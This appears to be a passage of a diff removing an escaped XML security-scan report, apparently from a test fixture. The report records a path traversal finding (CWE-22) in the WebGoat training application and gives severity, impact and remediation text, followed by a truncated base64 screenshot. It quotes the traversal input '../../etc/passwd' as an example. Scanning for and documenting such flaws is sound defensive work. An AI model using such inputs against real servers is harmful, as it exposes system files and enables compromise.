-        input may be passed directly to the filesystem operation, or it may be concatenated
-        to one or more fixed strings to construct a fully-qualified path.\"/>\n<para
-        text=\"When an application improperly cleanses special character sequences
-        in user-supplied filenames, a path traversal (or directory traversal) vulnerability
-        may occur.  For example, an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
-        which resolves to a file outside of the intended directory that the attacker
-        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
-        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
-        input to ensure that it conforms to the expected format, using centralized
-        data validation routines when possible.  When using black lists, be sure that
-        the sanitizing routine performs a sufficient number of iterations to remove
-        all instances of disallowed characters and ensure that the end result is not
-        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
-        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"true\">\n<description>\n<text
-        text=\"The software, when constructing file or directory names from input,
-        does not properly sanitize special character sequences that resolve to a file
-        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
-        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
-        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
-        type=\"\" description=\"The software, when constructing file or directory
-        names from input, does not properly sanitize special character sequences that
-        resolve to a file or directory name that is outside of the intended directory
-        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
-        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
-        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"\"
-        affects_policy_compliance=\"false\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
-        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
-        attacker can use this to retrieve the contents of arbitrary files on the server.
-        This leads to a full compromise of the application running within the context
-        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
-        state information that allows a compromise of the security boundaries of the
-        application.</severity_desc>\n<remediation_desc>When the set of acceptable
-        objects, such as filenames or URLs, is limited or known, create a mapping
-        from a set of fixed input values (such as numeric IDs) to the actual filenames
-        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
-        format=\"PNG\">\n<data>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